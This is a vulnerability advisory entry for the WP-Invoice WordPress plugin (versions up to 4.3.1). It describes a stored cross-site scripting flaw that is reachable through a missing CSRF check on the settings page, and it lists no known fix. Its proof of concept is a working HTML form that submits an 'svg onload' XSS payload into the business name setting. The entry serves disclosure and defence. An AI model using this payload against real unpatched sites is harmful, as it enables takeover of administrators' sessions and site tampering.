WordPress Plugin Vulnerabilities

WP-Invoice <= 4.3.1 - Stored Cross-Site Scripting via CSRF

Description

The plugin does not have CSRF check in place when updating its settings, and is lacking sanitisation as well as escaping in some of them, allowing attacker to make a logged in admin change them and add XSS payload in them

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=wpi_page_settings" method="POST">
      <input type="hidden" name="wpi_settings_update" value="true" />
      <input type="hidden" name="wpi_settings[business_logo]" value="" />
      <input type="hidden" name="wpi_settings[business_name]" value='WP"><svg/onload=alert(/XSS/)>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

No known fix

References

Classification

Miscellaneous

Original Researcher
Mariam Tariq
Verified
Yes

Timeline

Publicly Published
2022-04-25 (about 2 years ago)
Added
2022-04-27 (about 2 years ago)
Last Updated
2022-05-08 (about 2 years ago)

Other